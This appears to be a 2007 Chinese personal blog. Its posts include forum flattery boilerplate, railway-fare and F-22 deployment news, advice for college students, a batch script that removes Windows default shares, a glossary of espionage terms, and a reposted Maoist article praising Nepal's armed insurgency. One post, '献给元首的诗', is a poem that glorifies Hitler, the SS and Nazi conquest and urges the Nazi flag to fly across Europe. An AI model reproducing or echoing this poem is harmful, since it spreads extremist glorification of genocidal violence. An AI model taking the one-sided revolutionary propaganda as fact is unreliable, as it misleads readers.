楼主的帖子实在是写得太好了。文笔流畅，修辞得体，深得魏晋诸朝遗风，更将唐风宋骨发扬得入木三分，能在有生之年看见楼主的这个帖子。实在是我三生之幸啊。看完楼主的这个帖子之后，我竟产生出一种无以名之的悲痛感——啊，这么好的帖子，如果将来我再也看不到了，那我该怎么办？那我该怎么办？直到我毫不犹豫地把楼主的这个帖子收藏了，我内心的那种激动才逐渐平静下来。可是我立刻想到，这么好的帖子，倘若别人看不到，那么不是浪费楼主的心血吗？经过痛苦的思想斗争，我终于下定决心，牺牲小我，奉献大我。我要拿出这帖子奉献给世人赏阅，我要把这个帖子一直往上顶，往上顶！顶到所有人都看到为止！
在遇到你之前，我对人世间是否有真正的圣人是怀疑的；而现在，我终于相信了！我曾经忘情于两汉的歌赋，我曾经惊讶于李杜的诗才，我曾经流连于宋元的词曲。但现在，我才知道我有多么浅薄！
楼主，你的高尚情操太让人感动了。在现在这样一个物欲横流的金钱社会里，竟然还能见到楼主这样的性情中人，无疑是我这辈子最大的幸运。让我深深感受到了人性的伟大。楼主的帖子，就好比黑暗中刺裂夜空的闪电，又好比撕开乌云的阳光，一瞬间就让我如饮甘露，让我明白了永恒的真理在这个世界上是真实存在着的。只有楼主这样具备广阔胸怀和完整知识体系的人，才能作为这真理的惟一引言者。看了楼主的帖子，我陷入了严肃的思考中。我认为，如果不把楼主的帖子顶上去，就是对真理的一种背叛，就是对谬论的极大妥协。因此，我决定义无返顾地顶了！
说得好啊！我在XX社区打滚这么多年，所谓阅人无数，就算没有见过猪走路，也总明白猪肉是啥味道的。一看到楼主的气势，我就觉得楼主同在社区里灌水的那帮小混混有着本质的差别！那忧郁的语调，那熟悉的签名，还有字里行间高屋建瓴的辞藻。没用的，楼主，就算你怎么换马甲都是没有用的，你的亿万拥戴者早已经把你认出来了，你一定就是传说中的最强ID。自从社区改版之后，我就已经心灰意冷，对社区也没抱什么希望了，传说已经幻灭，神话已经终结，留在社区还有什么意思？没想到，没想到，今天可以再睹楼主的风范，我激动得忍不住就在屏幕前流下了眼泪。是啊，只要在楼主的带领下，社区就有希望了。我的内心再一次沸腾了，我胸腔里的血再一次燃烧了。楼主的几句话虽然简单，却概括扼要，一语道出了我们苦想多年仍不可解的几个重大问题的根本。楼主就好比社区的明灯，楼主就好比社区的方向，楼主就好比社区的栋梁。有楼主在，社区的明天必将更好！

类别：无分类 | 评论(0) | 浏览(6433) | 收藏

2007年01月16日 16:53:05

呵呵,终于到家了~

呵呵,终于到家了~

回家的感觉真好~

祝所有还为回家的同志们回家时一路顺风哇

类别：无分类 | 评论(3) | 浏览(11454) | 收藏

2007年01月14日 21:46:19

献给元首的诗

献给元首的诗

很多年你都是在漫骂声度过的
很多人都不解你的言行
但是，我却被你所吸引
我却为你所缔造的辉煌折服
你是我心中永恒的一颗星
你是我心中永远伟大的元首
嗨！希特勒
波兰的天空还残留着坦克的轰鸣
北非军团依然在固守阵地
苏联的血原至今还能寻到党卫军的足迹
诺曼底堡垒的炮火依然让盟军颤栗
看！帝国的神鹰还在阿登森林飞翔
它依然在找寻未啄完的“食物”
听！隆隆的V型导弹以比邻伦敦上空
去完成它未完成的使命
醒来吧！元首
党卫队忠诚的战士依然在等待你
回来吧！元首
总理府依然为你保存
让纳-粹的旗帜插满欧洲
让帝国的铁骑纵横沙场

类别：无分类 | 评论(2) | 浏览(10296) | 收藏

2007年01月14日 21:26:41

铁道部称春运不涨价铁路需多承担近3亿元成本

“2007年铁路春运客票价格不上浮，铁路因此需要多承担近3亿元的成本。”铁道部新闻发言人王勇平今天在接受本报独家专访时表示，党和国家提出了“构建和谐社会”的口号，铁路部门积极响应，主动承担因为不涨价而带来的所有成本，让更多的旅客享受到更大的实惠。

　　春运高峰时，定员118人的车厢，曾涌进380余人

　　从上世纪90年代起，我国铁路春运客流一直处于极端不均衡的状态。特别是在上世纪90年代后期，随着经济发展的不平衡，地区差异的加大，客流不均衡状态越来越严重，尤其是民工流的兴起，使这种不均衡状态更为加剧。

　　“突出的表现就是，节前基本上从城市流向农村，节后则恰恰相反，这种单方向高度集中的客流，突出集中在某一时间段内，形成强大的冲击波，不仅给铁路造成巨大的压力，也使旅客拥挤不堪。”王勇平说。

　　2001年的统计数据显示，当时全铁路日常每天客流230万人左右，而春运最高日则达到420万人。定员118人的一节车厢，曾涌进380余人，压死车辆弹簧随时都会危及行车安全。铁路因此也损失惨重，每年仅车辆配件备品等损坏就达8000多万元。

　　为了缓解春运高峰的压力，2002年春运前，在当时的国家计委主持下召开了铁路价格听证会。长达一天的听证会上，33名代表对铁道部提出的春运客票价格上浮方案进行了反复审议，各位代表畅所欲言，各抒己见，对方案的必要性、可行性进行了深入的研究和分析，最终原则同意对部分旅客列车实行政府指导价。

　　“对部分旅客列车春运期间的票价实行上浮，当时的考虑是有利于通过价格杠杆调节供求，充分发挥市场机制对资源配置的基础作用，促进运输市场公平、有序竞争环境的形成和铁路运输事业的发展，从根本上满足人民群众日益增长的需要。”一位不愿透露姓名、参与了铁路价格听证会的原国家计委人士表示。

　　“通过4年的实践，应该说，在春运期间实行票价上浮，在当时特定的历史条件下起到了很大作用，对于削峰平谷、让更多的旅客顺利返家起到了积极作用。”铁路运输专家说。2002年的数据证明，当年春运的客流高峰的确向前和向后分别延长了3天，当年春节前的非高峰期比2001年同期多运送了74万人次，一定程度上缓解了拥挤不堪的状况。

　　原国家计委人士称，铁道部这几年不但没多挣什么钱，却挣来了很多质疑

　　据介绍，为了让广大旅客过一个平安、祥和、欢乐的春节，铁路历年都是把春运作为一项政治任务来完成。铁路部门提前几个月在运输能力、客车整备、运输组织等方面投入大量的人力、物力和财力。仅增开一对广州至成都或重庆的临时列车，就须备有6组车底(每组18辆)、6组乘务人员(每组40余人)，这就需要增加大量的成本和支出。而且，增开的临时客车，大多数是运送单方向的客流，即去的方向满载，达1500人左右，回来的方向则是空载，有的只有二三十名乘客，造成运输能力严重的浪费和损失。

　　另外，全铁路在春运期间增开的7000多列临时客车，近一半属单向客流，仅此一项就损失几亿元。尤其是铁路增开大量的临时客车，是以严重挤占或牺牲货运能力为代价的。每增开1列临时客车，就必须停开两至3列货车。这样不仅直接造成货运收入的大量减少，而且造成货运市场的丢失。3列货车的收入比1列客车收入多好几倍，如果与空客车相比，更是净损失。

　　铁路春运虽然相对日常增运了很多旅客，似乎也增加了不少的收入，但实际上，投入的成本和各种因素造成的能力浪费和损失，远远超出增收的部分。

　　“当时的客观情况要求铁路春运必须采取措施来‘削峰平谷’，而采用涨价的方式是最直接、最快能看到成效的。”原国家计委这位人士笑言，如果铁路部门只为图利，那就绝不只是分成两个时间段，部分列车调价了，但实行春运票价上浮后，铁道部这几年不但没多挣什么钱，却挣来了很多质疑。

　　火车提速为不涨价也能控制客流提供了保证

　　2006年春运，铁路部门决定以农民工和高校学生为主体的临客硬座票价不上浮，3000多万名旅客因此而受益。“在社会的一片褒扬声中，铁路部门上上下下都受到了很大的鼓舞。”铁道部一位高层人士说，当时铁道部的想法是，先从临客尝试一下，看看不涨价铁路部门是否能承受得了春运的客流压力，以便为春运取消票价上浮摸索路子。

　　“这几年来，随着铁路技术装备现代化的提升，特别是铁路客车速度的不断提高，为铁路开行更多的临客提供了强大的物质基础，为铁路部门不通过上浮票价的方式来消化客流高峰提供了保证。”王勇平表示，今年铁道部从北方、西北地区的铁路局调用了大批客车车底，节前到北京、上海、广州等地，节后到成都、重庆、武汉、阜阳等地，用开行更多临客的方式来缓解客流压力。

　　据了解，2007年春运铁路部门将安排直通临客318对，采用基本方案、预备方案、应急方案三套梯次运力方案，分别应对正常客流、高峰客流、突发客流。另外，今年春节距元旦较远，学生流、民工流、探亲流相对叠加较少，客观上也为铁路部门在票价格不上浮后减轻了不小的压力。

　　今年春运供求矛盾将加剧

　　“铁路票价比公路、民航低很多，价格因素将使得更多的人涌向铁路。车票价格不上浮了，铁路部门在赢得社会口碑的同时，2007年春运必将面临更严峻的考验。”铁路运输专家说。

　　正是因为票价优势，中国人才对火车这种运输方式情有独钟。记者2006年春运在上海采访时发现，以上海到郑州为例，火车硬座最便宜为64元，硬卧135元，而汽车票价为257元，机票价格全价是800元。此外，上海有数以十万计的四川、重庆的打工者，他们坐火车硬座到成都只要126元，硬卧也只有269元，而机票却高达1280元，汽车则没有直达成都的班车。

　　据一位交通运输专家称，国际上一般都是1500公里以上民航运输占主导，500公里至1500公里铁路运输为主，500公里以内则以公路运输为主，但这在中国都不适用。因为公路、民航的价格太高了，人们出行基本上都首选铁路，即使是春运期间火车票涨了一些，但仍远低于公路和民航。由于铁路承载了旅客过多的期望，买不到火车票的人才会骂铁路，却忘记了正是公路和民航的高昂票价，让他们只有选择乘火车回家的方式。

　　“铁路票价不上浮后，肯定会有更多的旅客乘火车出行，铁路春运不能满足旅客出行需求的供求矛盾将进一步加剧。我们铁路部门目前已经做好了各方面的准备工作。”王勇平坚定地说！

类别：无分类 | 评论(0) | 浏览(6514) | 收藏

2007年01月13日 18:35:07

大学生一定要理解的15件事情[转来的，貌似是不完整的！]

1、珍惜仅有的4年好好学习专业，不要说什么锻炼能力，发展素质教育，上大学后你其实已经发现了只有初中，高中的东西你现用的最多！能力是以知识为基础的！university的谐音不是“由你玩四年”！

2、谈一场轰轰烈烈的爱情，让你能够在这样物欲横流的社会理解什么叫做纯洁！为的是走出学校后能够有这样一种明净单纯的回忆！

3、至少有一样课余爱好，它会让你在无聊的时间里有宣泄的用武之地！

4、尽可能少逃课，如果按你一年5000的学费来算的话，一节课意味着你丢了快4。16666元钱（一年40周，也就200天课，一天算6节吧！总共就1200节课）！

5、不应该缺少大学生应有的素质，要习惯一些事情，对任何事情要理智的去看待，切忌无病呻吟的成天喊“堕落与颓废”。不关你的事情，你有他去吧！

6、理解食堂阿姨们，他们工资也不高，也就5-600快吧！她们想拿点奖金的话，BOSS只有从你们身上扣点，别端着碗有沙子的白饭喊着“这碗沙子有米耶”！她们年纪也大了，更年期女人容易掉头发，偶尔在菜里面发现了，别动不动就投诉，那会扣她们的奖金！2快钱有饭有菜了，你还指望什么？

7、如果家里还算富有，可以穿NIKE，ADIDA，有钱没有错！但是没有钱也没有错！毕竟在学校穿的太差，自己心里不自然！建议穿些森马，FEEL100%，贵人鸟特步等比较便宜但也适合学生的牌子！最好在有折扣的时候！建议放弃考虑安踏，李宁，邦威！

8、不要买手机，首先在于在学校你确实没有那么多事情！其次是中国移动如何优惠，如何让利，它一个月也要从你身上赚个6-70！那够你吃一个星期的食堂了吧！

9、如果有电脑，不要用它来看碟，玩游戏，聊天；学点平面设计，编程，系统操作等实用的东西，那对你以后绝对有用！还有配置不需要P43.0，RAM512 的。有个C1.7，RAM256就够你用了，追求时尚你还没有资格！

10、切记不要参加学生会干部的竞选，他会提早助长你的官僚作风！让你明白，政治----***是个腐朽，黑暗的玩意！

11、不要以为离开了家就是一种解脱，也不要以为你不想家，而家里就不想你，你应当明白。对你爸妈来讲，大学生有成千上万个，而儿子只有一个！隔三差五给家里报个平安，一句问候就可以了！

12、如果失恋了，千万不要喝酒，抽烟来发泄自己！伤身体你可以勉强说是自己的无所谓，可是，那烟酒钱可能是爸妈一天的工资！

13、中国的文化和历史可以做你自己镜子！大学毕业了，别连（红楼梦）讲什么事情都不知道！多看点书，让你相信还有精神的存在，中国人缺乏信仰已经让自己无地自容了，不要搞的自己象个没有灵魂的躯壳！

14、不要看不起民工，妓女。我们的祖先连做民工的资本都没有，或者母系氏族时代，**是一种潮流！社会在变，我们应该理智的用历史眼光看待问题！他们有自己的苦衷！而错误也不在于他们！是社会！别成天喊着反日，应该多了解自己的历史，一个连自己的历史都不懂的人是没有资格开口闭口反对别人的民族的！话说回来，我们能够做的就是抵制日货，让它失去6-7成的市场！

15、看别人的帖子一定要回帖，别想着自己这几十秒可以记一个4级单词！可是别人说不定花了半个小时。要承认别人的劳动成果！发个“顶”字也是对别人的安慰和尊重！

类别：无分类 | 评论(1) | 浏览(6688) | 收藏

2007年01月13日 18:21:04

关闭共享的BAT

原码：

Copy code

@ECHO OFF
cd\
cls

echo 共享清除工具 v3.0
echo .
echo }}}}}武装党卫军出品精品BAT{{{{{
echo .
echo .
echo .
echo 是否开始扫描共享....(任意键继续)

pause>nul

echo 您的电脑上包含以下共享
net share

echo 是否开始清除共享....(任意键继续)

pause>nul

echo 正在删除C盘共享
net share c$ /delete

echo 正在删除D盘共享
net share d$ /delete

echo 正在删除e盘共享
net share e$ /delete

echo 正在删除f盘共享
net share f$ /delete

echo 正在删除g盘共享
net share g$ /delete

echo 正在删除h盘共享
net share h$ /delete

echo 正在删除i盘共享
net share i$ /delete

echo 正在删除j盘共享
net share j$ /delete

echo 正在删除k盘共享
net share k$ /delete

echo 正在删除l盘共享
net share l$ /delete

echo 正在删除ADMIN共享
net share admin$ /delete

echo 正在删除IPC共享
net share ipc$ /delete

echo 您的电脑中尚剩余以下共享

net share

echo 按任意键退出...
pause>nul
exit

类别：无分类 | 评论(0) | 浏览(7475) | 收藏

2007年01月13日 18:15:52

写给明天！

考试不怎么样，但是马上能回家了

类别：无分类 | 评论(0) | 浏览(9251) | 收藏

2007年01月13日 16:38:01

美国隐形战机部署中国东翼分析称为回应歼10

F-22战机地面准备

１月９日，美国空军的两款新隐形主力战机分别部署到韩国和日本。赫赫有名的Ｆ－１１７改进型当天飞赴韩国，执行为期４个月的部署任务；Ｆ－２２首度海外部署的地点选在了日本冲绳。军事观察家与分析家认为，五角大楼将两款新型主力战机同时部署在亚太地区，决非偶然。

Ｆ－２２驻地离中国大陆３６０海里

据美国空军新闻发言人１月９日透露，美国空军将于本月底首度向海外部署Ｆ－２２“猛禽”战斗机，而首度海外部署的地点选在了日本冲绳岛南端的嘉手纳空军基地。

美国太平洋空军司令部司令保罗Ｖ•哈斯特将军在弗吉尼亚州兰利空军基地宣布这一消息时，两架Ｆ－２２就停在他身后的停机坪上。哈斯特将军透露说，美国空军将向嘉手纳空军基地部署一个中队１２架Ｆ－２２战斗机。这些战机将与日本航空自卫队的战机，驻日美国空军的Ｆ－１５重型战斗机和驻日本的美国海军展开合练。这１２架Ｆ－２２战机将在嘉手纳空军基地逗留“数月”，大约有２５０名官兵随行。

美国空军承认，Ｆ－２２战斗机目前仅达到初始作战能力，去年６月，美空军曾派１２架Ｆ－２２参加在阿拉斯加举行的“北刃”演习，但还从来没有部署到美国以外的地区。据参加过上述演习的美国空军官员透露说，参演的１２架Ｆ－２２战斗机投弹命中了所有的２６个目标；空中格斗的战果是１４０∶０。

对于Ｆ－２２首次海外部署就到日本冲绳的意图，美国媒体在报道时并不掩饰地说，这可以大大加强冲绳驻地的美国空中战力，必然会引起距离冲绳１０００英里（约１６００多公里）的朝鲜高度关注。

不过，军事观察家则认为，Ｆ－２２进驻冲绳应该还有一个隐蔽的战略考虑。首先是，琉球群岛从北到南依次是奄美群岛、冲绳群岛和先岛群岛，与台湾岛构成了一道新月形的岛链，成为日本本土在东海的天然屏障。其中的冲绳群岛位置居中，距中国大陆、台湾和日本本土的距离分别是３６０、３４０、３４０海里，对于最大飞行速度可达到２．１倍音速的Ｆ－２２来说，从东侧对中国构成威慑的意图非常明显。

Ｆ－１１７赴韩回应中国歼－１０？

据美国《阿拉莫戈多日报》和美国空军新闻机构１月９日报道，３０余名官兵和家属本周一清晨目送第４９战斗机联队首批３架被称为“夜鹰”的Ｆ－１１７飞赴韩国。３架Ｆ－１１７在３０分钟内相继起飞，不少家属和官兵挥着星条旗欢呼，一个名叫沙龙的女孩告诉现场记者说，她至少已经送Ｆ－１１７飞行员赴韩国６回了。

据第４９战斗机联队发言人汤姆•富勒透露，第４９战斗机联队约３００名人员和一个中队的Ｆ－１１７隐形战斗机，将在韩国进行为期４个月的部署。富勒表示，此次部署属于常规计划部署，并强调与朝鲜半岛局势没有直接关联。

他表示此次部署将为该战斗机联队飞行员和地勤人员提供训练机会，特别是人员和装备调动方面将获得更多实践经验。

Ｆ－１１７是世界上第一种正式投入作战的隐形战斗机，由于目前Ｆ－２２已经逐步装备美军部队，美军定于２００８年将现役Ｆ－１１７全部退役。上月底，美军已经正式解散了负责Ｆ－１１７训练的第７战斗机中队，该中队拥有的６架Ｆ－１１７战斗机已包括在首批退役的１０架之内。　从２００３年起每年美军都会向韩国派遣约一个中队的Ｆ－１１７战斗机进行驻训，如无意外，今年的这次部署很有可能成为Ｆ－１１７的最后一次海外部署。

由于西方媒体散布朝鲜正准备于近期进行第二次核试验传言，此次美国向韩国部署Ｆ－１１７是否别有意图，目前还有待进一步观察。

这一部署与美国此前派出可装载核弹的战略轰炸机，针对朝鲜的战略目标进行模拟空袭的消息相呼应。还有分析认为，美国让Ｆ－１１７以及Ｆ－２２同时部署到西太地区，也显然是要向刚刚推出歼－１０的中国进行某种展示。

类别：无分类 | 评论(0) | 浏览(9673) | 收藏

2007年01月13日 12:50:23

什么是间谍?

间谍：所谓间谍，既指被间谍情报机构秘密派遣到对象国（地区）从事以窃密为主的各种非法谍报活动的特工人员，又指被对方间谍情报机构暗地招募而为其服务的本国公民。间谍的主要任务之一，就是采取非法或合法手段、通过秘密或公开途径窃取情报，也进行颠覆、暗杀、绑架、爆炸、心战、破坏等隐蔽行为。

心战：所谓“心战”，是指某些国家或政治集团利用宣传工具和宣传品，对敌对的国家或政治集团进行的旨在扰乱其武装力量和居民的精神状态和心理状态，煽动其内部的不满情绪，瓦解其士气的一系列谋略活动。

　密写：间谍最早的联络方法之一。即利用某些有机化合物或无机化合物对纸张的潜隐性能，在纸上写出眼睛看不见的文字，再通过一定的光、热、蒸气和化学的作用显示出字迹来的一种秘密的通信方法。密写的具体种类主要有：溶液密写、复写密写、干写、压痕密写以及潜影密写等。

　勾联：间谍情报机构派出人员对对象国或地区的人暗中勾引与之联络。

　安钉子：在对方内部安插为已方起颠覆、破坏、刺探情报等特殊作用的人，称“安钉子”。在间谍情报领域，“安钉子”也叫渗透。

　内线：指间谍机关安插在目标国家、地区的有关组织、机构内部的能够接触到对方内部核心机密，及时了解对方内部情况的人员，也叫内线关系、接密关系或接敌关系。

　内奸：暗藏在内部，配合敌对势力从事破坏、提供情报等活动的奸细、敌对分子。

　双重间谍：又称“逆用间谍”、“两面间谍”，即具有双重间谍身份的间谍。其中主要是一国间谍情报人员因某种关系，如受贿、受胁迫、思想信念动摇，或投降等，为另一国反间谍机关服务。发展运用双重间谍成为反间谍活动典型的手段。另一种双重间谍是外国情报机关企图征募本国公民为其执行任务，而这个公民把上述情况向本国反间谍部门报告，反间谍部门对这类人员加以运用，伪装为外国服务，实际为本国效力。这种双重间谍价值更大。担任双重间谍的人需要某些特殊才能，他必须头脑机敏，能言善辩，镇定自若，具有某种八面玲珑的本领，而且还要能忍受各种复杂环境所带来的刺激。从长期战略目标出发，经营管理一大批双重间谍，就形成了双重间谍系统。

　耳目：指为间谍情报机构、间谍或别人刺探情报的人。《汉书·赵广汉传》：“赵迁颖川太守，……吏民相告讦，广汉得以为耳目，盗贼以故不发，发又辄得。” 众多耳目组成耳目网。

　鼹鼠：通常指潜伏在对方间谍情报机构或其他要害部门，窃取内部核心机密的渗透人员。他们既可是本国谍报机关直接派遣的特工人员，也可是被策反的对方内部人员。

　工业间谍活动：西方国家情报界通常把非法窃取对象国（地区）科技领域、工商企业与公司、财团以及其他经济部门秘密情报的间谍情报活动，称之为工业间谍活动。直接从事工业间谍活动的人员，往往被称之为“工业间谍”、“商业间谍”和“科技间谍”，又被称为“工业白蚁”、“新的寄生虫”与“工业强盗”等。

　策反：意即策动反正。从反间谍的角度，是指秘密策动敌方间谍情报人员叛变倒戈，转而为已方服务。促使敌方情报人员背叛，是清除间谍活动的一种有效手段，它是反间谍工作中最成功的突破之一。

　　公开情报：指从公开或半公开的资料或消息中获取的情报。

　间谍代理人：指受间谍组织或其成员的指使、委托、资助，进行或者授意、指使他人进行危害另一国国家安全的间谍活动的人。我国《国家安全法》所指的间谍组织和间谍代理人，由中华人民共和国国家安全部确认。

类别：无分类 | 评论(0) | 浏览(9143) | 收藏

2007年01月12日 20:47:55

在伟大的毛泽东思想下战斗——尼泊尔PLA（人民解放军）

Quote:

尼泊尔（毛派）领导的PLA（和我国一样也叫人民解放军）正以思想为指导，从尼泊尔的广大农村保卫城市！今年夏天已经紧张到加德满都戒严，是目前世界上唯一坚持武装夺取政权的武装。
该党已经完全控制了40%的领土并建立了自己的政府，其他属于游击区，目前组建有两个正规师和数个独立旅，加上民兵有10万之多。目前尼国内政府已经失去了对乡村的控制，西北的几个城市也在PLA手中。

巴黎公社注，目前印度北部比哈尔邦的革命运动也已经开始，【phpwind.net隐屏功能】人向封建地主和官僚反动派发起了进攻

尼泊尔战争的重要性不仅会对帝国主义起作用，它也会对无产阶级革命起重要作用。这是无产阶级期待已久的突破，而且就在帝国主义全世界横行霸道的时代。这是尼泊尔马列毛主义者发动的一场解放尼泊尔人民的运动，它也服务于世界无产阶级革命，同时尼泊尔革命也需要和旧世界斗争、为新世界而努力的同志们的支持。尼泊尔2300万人民的命运即将掌握在自己手里，一方面将展开一个过去桎梏的未来图景，建立没有压迫和剥削的脱离帝国主义全球秩序的世界，另一方面呈现与以往大不相同的图景：喜马拉雅山上红旗飘扬，尼泊尔新民主主义迎来新世界的黎明。这一天一定会到来，全世界受压迫最深的人民站起来了，重新将红旗升起，继续沿着巴黎公社、十月革命、中国革命开辟的道路前进。那将是国际无产阶级进行社会主义运动所取得的伟大进步，同时也是迈向无阶级社会——共产主义的一个伟大进步！

　　尼泊尔共产主义运动短暂而光辉的历史

　　人民政权的轰鸣声响彻喜马拉雅山脉，这不仅是人民运动高潮的体现，同时也是【phpwind.net隐屏功能】在内的政治力量长期坚持意识形态领域斗争的结果，也就是说，不断的反抗斗争直到找到了正确的思想理论指导的时候才能化成汹涌的革命浪潮。一旦由真正毛主义者领导的【phpwind.net隐屏功能】建立，通过党内的路线斗争和社会上的阶级斗争，人民斗争的进程将取得不断的进步，尽管其中也会经历曲折甚至倒退。

　　从尼泊尔共产主义运动一开始，它就被邻国的革命进程深深影响。尼泊尔【phpwind.net隐屏功能】强调指出毛主义路线在尼泊尔已经取得很大发展，它是无产阶级众多进步斗争合力的结果，历史上受苏联和中国的影响，近来更多受秘鲁人民战争的影响。它同时也是深入研究马列毛主义理论和汹涌的国际共产主义运动推动的结果。关于尼泊尔【phpwind.net隐屏功能】历史的简短介绍详见我们的杂志（《A World To Win》,1996年22日）。

　　在具有历史意义的第二次代表大会上，尼泊尔【phpwind.net隐屏功能】投入了相当多的精力阐述无产阶级思想的历史及其在尼泊尔的发展。尼泊尔人民战争的不断进步正是得益于党的思想的不断发展，正如列宁所说，在革命进程中，思想是具有决定意义的因素。【phpwind.net隐屏功能】进行了更深入的阐述，一旦一个政党找到了一条正确的路线，没有枪可以变成有枪，没有根据地可以变为有根据地，没有政权可以变为最终取得政权；如果一个政党选择了错误的路线，它将失去它所拥有的一切。每一场革命都是正确路线的产物；这条路线的发展是马列毛主义普遍真理同一国具体实际相结合的产物。这个真理在尼泊尔又一次得到了证明，尼泊尔【phpwind.net隐屏功能】正是贯彻了正确的路线才取得了革命的不断进展。

　　在发动人民战争的斗争中，尤其重要的就是对Mohan Bikram Singh领导的机会主义集团进行了长期斗争。Singh已经堕落为折衷主义者，这种折衷主义是Hoxhaite教

　　条主义（毛76年逝世以后兴起的一股修正主义思潮，试图否定毛对共产主义运动伟大理论贡献）的一个变种。特别是，Singh认为毛主义的斗争形式是错误的，因为毛

　　泽东思想认为现在还处于帝国主义阶段，所以它不能算为无产阶级理论上的第三个里程碑。还有，Singh坚持斯大林和以前共产主义运动中的错误观点，否定毛在无产

　　阶级理论上的发展，他认为人民战争无法在尼泊尔取得胜利。毛主义革命者在对尼泊尔教条主义－修正主义者的斗争中发展了正确的路线。

　　当然，在尼泊尔共产主义运动的过程中还有很多次重要的两条路线的斗争。前面提到的，尼泊尔另一个【phpwind.net隐屏功能】（联合马列，UML）扮演了一个及其可耻的角色，他

　　们对人民含含糊糊，实际上支持反动政权。1998年，UML曾经在政府中当了9个月的执政党，占据了许多要职，其中包括直接镇压革命者的部门。在前不久，君主专制已经成了一个空架子，成了无人信任的机构，而UML却发誓效忠国王，试图让封建统治借尸还魂。UML甚至在它的部门中接受了美国大使，顺便为了不冒犯“尊敬的客人”把列宁、斯大林、毛泽东的画像丢到了垃圾桶。毛主义还被迫对其他改良主义路线进行斗争，如Nirmal Lama脱离群众的“暴动主义”。对这些倾向斗争的一个教训就是革命和修正主义二者必则其一，没有中间路线，而革命组织无法建立在修正主义的基础之上。

　　在路线斗争的过程中，尼泊尔【phpwind.net隐屏功能】不仅支持一般性的革命原理，并且把它们运用到实践中去。毛主义者深深知道，党组织是对立的统一体，需要强调的是革命道路必然经过冲突、决裂、飞跃的过程。由这些马列毛主义基本原理指引下，尼泊尔【phpwind.net隐屏功能】继续在斗争中达到统一，这是党内的做法，革命者和改良主义者之间的冲突更加明显。同样的，为发动人民战争，尼泊尔【phpwind.net隐屏功能】必须同许多流行的传统思想决裂，例如议会主义。尼泊尔【phpwind.net隐屏功能】捍卫了基本的革命原则，政党必须有正确的路线，掌握革命武装，四种准备必须同时进行：意识形态－政治上的准备，组织上的准备，后勤上的准备和战争上的准备。党组织相信，这些准备对于人民战争的进一步发展仍然有效，党要继续做好这些准备以实现人民战争进入质量更高、规模更大的水平，实现新的突破。

　　人民战争经历了曲折和倒退，接受了巨大的挑战，这是革命进程在尼泊尔综合的表现，马列毛主义是基本的政治理论，是革命的科学，而普拉昌达思想是尼泊尔革命具体经验的总结，它们都是尼泊尔革命的指导思想。在当前正确应用马列毛主义取得军事、政治进步的过程中，党对马列毛主义的发展还会取得更大的贡献。

　　帝国主义者和印度军事扩张主义对尼泊尔的干涉

　　作为人民战争不断发展和反对统治阶级危机不断加深的结果，尤其是封建君主专制政体将要被彻底遗弃，美帝国主义和印度扩张主义一直积极扮演着反人民的角色。由于反动政权正在垂死挣扎并且日益无法对付人民政权的力量，美国正在计划直接的干涉。政治局势越来越不稳定，最近先是解雇首相，然后解散议会执掌大权，任用的官员既非任何党派人士，也非任何党派推荐人士，其中一些人因为对封建复辟一贯忠心耿耿而声名狼藉。 2002年2月，美国国务卿鲍威尔访问了尼泊尔，一段时间以后，首相Deuba访问了美国和欧共体。英国和美国已经各自提供了4000万和2200万美元援助，美国还送来了12名军事专家，他们调查了东中西所有的地区以便制定总体可行的计划。还有在Lishne警戒线上，有人看见两名美国兵，这证明帝国主义武装已经进入了尼泊

　　尔。

　　美国对全世界的进攻现在达到了高潮，在各地都造成了对当地人民安全和稳定的威胁。现在美国军队扑向中东地区，美国外交官们则在亚洲地区到处逛荡，就像疯狗那样呲着牙。在这一点上美国统治者将9·11事件视为“一个不可思议的武器”，由此为借口美国可以干涉任何它想干涉的地方。美帝今天的总体战略就是镇压一切对它利益构成威胁的斗争，例如反封建、反帝斗争，国家解放运动和民主、社会主义运动。美国把这些贴上“恐怖主义”的标签来显示自己反革命行动的正义性，它想将一切反对它的力量碾碎，强化对世界各地亿万人民的剥削。

　　但是美帝发疯般运用手中的军事力量去建立单方超级霸权，事实上正在唤醒全世界人民去抵抗它的侵略。由于美帝对亚洲、非洲、拉丁美洲长期的掠夺，人民生活异常悲惨，这些国家正是这场斗争的中心地区，【phpwind.net隐屏功能】称之为“世界革命的风暴中心”。红色政权在喜马拉雅上不断扩展，正是处于这样的世界风暴的背景下的，它的胜利对整个南亚地区甚至更远都有深远的影响和意义。面对整个地区都有可能发生革命风暴的形势，美帝已经采取了空前的步骤，在印度首都新德里安置了一个FBI特工局。当毛主义者对Achham地区司令部发动奇袭的时候，美帝暴露了它想在尼泊尔设立军用前哨站的意图，美国声称：“尼泊尔是一个战略要地。”即便是美帝国主义好像要将力量注入尼泊尔了，事实上这不过是帝国主义体系内部矛盾的一个表现而已。无论如何困难，美帝国主义都是想将革命运动镇压下去的，它仅能将帝国主义同被压迫民族和人民之间的矛盾冲突激化，同时激化帝国主义内部的矛盾罢了。

　　在美国干涉的同时，印度在南亚也一直在进行反人民的法西斯行动。印度统治者一直镇压南亚地区的革命运动和民族独立运动，他们颁布了严厉的法律，包括反恐行动（POTA）法，维持他们对印度群众的劫掠。在这个法律下，印度逮捕了尼泊尔杂志和社会工人，甚至没有审讯和其他“民主程序”就将他们引渡回尼泊尔。他们也在私人医院逮捕了许多尼泊尔受伤的毛主义者，然后把他们交给尼泊尔警察。这反映了印度维护对尼泊尔长期统治的决心。

　　印度霸权主义将永远不会接受尼泊尔人民取得解放战争的胜利、掌握自己的命运这一事实。印度统治者深深忌惮尼泊尔取得新民主主义革命的胜利，从而成为世界革命的根据地。他们同时也严重关切尼泊尔革命的进步将进一步点燃印度人民的不满情绪，从而引起爆炸性后果。印度一度在印巴边境上放置了100万军队，当毛主义者已经在印度好几个地区起义时，他们才发现尼泊尔是他们最值得憎恨的。而且，同毛主义革命者的战争将几倍于印度对克什米尔和Bodo民族解放运动战斗的费用。L.K.Advani，印度的国家部长，对尼泊尔【phpwind.net隐屏功能】（毛）提出南亚成立苏维埃联盟的建议发出警告，在这个建议里，南亚解放了的人民可以组成一个自愿的联盟。在南亚毛主义政党组织协调委员会（CCOMPOSA）刚刚组建后，印度统治阶级马上瞪圆了一贯欺凌弱小的势利眼，准备发起一场镇压毛主义者的运动。印度政府很有可能随时干涉尼泊尔，应尼泊尔政府之邀，它马上提供了武器和军用物资支援，同时还提供了许多直升飞机武装皇家军队。在这一点上，逮捕并引渡尼泊尔【phpwind.net隐屏功能】中央委员会成员是最后的一手。

　　如果不提及那些过于急于进行宣传表现以至于不行暴露丑行的其他势力，就无法看清楚美帝国主义所扮演的角色。这里我们就谈谈国内和国际非政府组织（NGOS）

